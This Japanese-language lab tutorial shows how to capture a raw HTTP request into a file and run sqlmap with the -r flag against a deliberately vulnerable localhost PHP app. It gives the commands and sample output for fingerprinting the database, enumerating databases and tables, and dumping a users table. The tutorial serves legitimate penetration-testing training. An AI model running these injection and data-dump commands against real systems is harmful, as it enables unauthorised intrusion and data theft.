はじめに
この実験(Lab)では、人気のオープンソースペネトレーションテストツールである sqlmap を使用して SQL インジェクションの脆弱性を検出する強力なテクニックを学びます。ターゲット URL を直接指定する代わりに、Burp Suite や ZAP などのプロキシツールを使用して完全な HTTP リクエストをキャプチャし、ファイルを保存してから、sqlmap にこのファイルを使用してスキャンプロセスを実行するように指示します。この方法は、複雑なリクエスト(例:多数のパラメータを持つ POST リクエスト、カスタムヘッダー、認証トークンなど)を扱う場合や、手動で再構築することなく特定のリクエストをリプレイしたい場合に特に役立ちます。この実験(Lab)の終わりには、sqlmap を使用したより正確で柔軟な SQL インジェクションテストのために、キャプチャされた HTTP リクエストを活用できるようになります。
Burp Suite または ZAP を使用して完全な HTTP リクエストをキャプチャする
このステップでは、Web プロキシツールを使用して完全な HTTP リクエストをキャプチャする方法を学びます。Burp Suite と ZAP は一般的な選択肢ですが、このターミナルベースの実験(Lab)では GUI の複雑さを避けるため、脆弱な Web アプリケーションに対して生の HTTP リクエストを直接構築することで、リクエストのキャプチャをシミュレートします。
まず、ダミーの脆弱な Web アプリケーションにアクセスできることを確認しましょう。新しいターミナルを開き、curl を使用してリクエストを送信します。
curl http://localhost/sqli_test/index.php?id=1
以下のような出力が表示され、アプリケーションが実行されていることを確認できるはずです。
id: 1 - Name: Alice<br>
次に、sqlmap が使用できる生の HTTP リクエストを手動で作成します。このリクエストは、SQL インジェクションに対して脆弱な id パラメータをターゲットとします。
nano ~/project/request.txt
request.txt ファイルに以下の内容を貼り付けます。これは、脆弱なアプリケーションへの単純な GET リクエストを表します。
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Ctrl+X を押し、次に Y で確認し、Enter で request.txt に保存してファイルを保存します。
生の HTTP リクエストをテキストファイル(例:request.txt)に保存する
前のステップで、生の HTTP リクエストを ~/project/request.txt に作成して保存しました。このファイルには、sqlmap がターゲットを理解し、どのように対話するか(HTTP メソッド(GET)、パス(/sqli_test/index.php)、パラメータ(id=1)、およびさまざまな HTTP ヘッダーを含む)に必要なすべての情報が含まれています。
ファイルの内容を確認するには、cat コマンドを使用できます。
cat ~/project/request.txt
出力には、貼り付けた正確な HTTP リクエストが表示されるはずです。
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
この request.txt ファイルは、sqlmap で使用する準備ができました。
-r フラグを使用してリクエストファイルをロードする
このステップでは、sqlmap の -r フラグについて学びます。-r フラグは、コマンドラインで直接 URL を指定する代わりに、指定されたファイルから HTTP リクエストをロードするように sqlmap に指示します。これは、複雑なリクエストのスキャンやキャプチャしたトラフィックの再生に不可欠です。
-r フラグを使用する基本的な構文は次のとおりです。
sqlmap -r < request_file > [options]
ここで <request_file> は、生の HTTP リクエストを含むファイルへのパスです。この場合、~/project/request.txt になります。
フルスキャンを実行する前に、sqlmap がファイルを正しく解析できることを確認するために簡単なテストを実行しましょう。ターゲットを指定するという sqlmap の要件を満たすために、ダミー URL で --url オプションを使用しますが、実際のリクエストはファイルから取得されます。これは -r を使用する際の一般的な方法です。
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
--fingerprint オプションは、バックエンドのデータベース管理システム(DBMS)を識別しようとします。sqlmap がリクエストファイルを正常に処理した場合、フィンガープリンティングプロセスが開始されます。質問が表示される場合があります。この実験(Lab)では、通常 Enter または y を押してデフォルトのオプションを受け入れることができます。
sqlmap がプロセスを開始し、ファイルから読み込んでいることを示す出力が表示されるはずです。以下のような出力に注目してください。
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
これにより、sqlmap が request.txt からリクエストを正しくロードしていることが確認できます。
sqlmap -r request.txt を使用してスキャンを実行する
リクエストファイルのロード方法を理解したところで、-r フラグを使用して sqlmap で完全な SQL インジェクションスキャンを実行する時間です。スキャンをより効果的にするために、いくつかの一般的なオプションを使用します。
コマンドは次のようになります。
sqlmap -r ~/project/request.txt --batch --dbs
これらのオプションの内訳を見てみましょう。
-r ~/project/request.txt:request.txtファイルから HTTP リクエストをロードします。--batch:sqlmapを非対話モードで実行し、ほとんどのプロンプトに自動的に「はい」と答えます。これは、スクリプト作成時や、何が起こるかを知っている場合に便利です。--dbs: データベース管理システム(DBMS)のデータベースを列挙します。これは、利用可能なデータベースを発見するための一般的な最初のステップです。
コマンドを実行します。
sqlmap -r ~/project/request.txt --batch --dbs
sqlmap はスキャンプロセスを開始します。リクエスト内の id パラメータに対してさまざまな SQL インジェクション手法をテストします。私たちのダミーアプリケーションは脆弱であるため、sqlmap は最終的に脆弱性を特定し、利用可能なデータベースをリストするはずです。
sqlmap がテストを実行するにつれて、多くの出力が表示されます。脆弱性の検出とデータベースの列挙を示す行を探してください。
出力例:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
この出力は、sqlmap が id パラメータを脆弱であると正常に特定し、セットアップで作成した testdb データベースを見つけたことを確認します。
スキャンがファイルから正しいパラメータをターゲットにしていることを確認する
この最終ステップでは、sqlmap が request.txt ファイルから id パラメータを正しく特定し、ターゲットにしていることを確認します。これは、キャプチャしたリクエストが意図したとおりに解釈されていることを確認するために重要です。
sqlmap が開始すると、通常は注入可能なパラメータを特定します。これは前のステップの出力で確認できます。具体的には、「GET parameter 'id' appears to be... injectable」という行を探してください。
さらに確認するために、testdb データベース内のテーブルからデータをダンプしてみましょう。--dump オプションを使用し、データベースとテーブルを指定します。
まず、testdb のテーブルをリストします。
sqlmap -r ~/project/request.txt --batch -D testdb --tables
sqlmap が users テーブルを特定しているのが見えるはずです。
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
次に、users テーブルからデータをダンプします。
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
このコマンドは、request.txt からロードされたリクエストを使用して、testdb データベース内の users テーブルからすべてのエントリをダンプするように sqlmap に指示します。
users テーブルのデータが表示され、sqlmap がキャプチャしたリクエストで指定された id パラメータを通じて SQL インジェクションの脆弱性を正常に悪用してデータを抽出したことが確認できるはずです。
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
これにより、sqlmap が request.txt ファイルを正しく解析し、id パラメータを特定し、キャプチャしたリクエストで指定された id パラメータを通じて SQL インジェクションの脆弱性を正常に悪用してデータを抽出したことが確認できます。
まとめ
この実験では、キャプチャした HTTP リクエストファイルを使用して SQL インジェクションの脆弱性をスキャンするために、sqlmap の強力な -r フラグを活用する方法を学びました。まず、生の HTTP リクエストをキャプチャする概念を理解し、次に脆弱なアプリケーションへの GET リクエストを表す request.txt ファイルを手動で作成しました。その後、sqlmap -r request.txt を使用してスキャンを開始し、まずデータベースのフィンガープリントを取得し、次にデータベースを列挙して特定のテーブルからデータをダンプしました。この方法は、複雑なシナリオをテストしたり、特定のトラフィックをリプレイしたり、sqlmap を Web アプリケーションのペネトレーションテストワークフローにシームレスに統合したりできる、計り知れない柔軟性を提供します。このテクニックを習得することは、あらゆるセキュリティ専門家や愛好家にとって価値のあるスキルです。


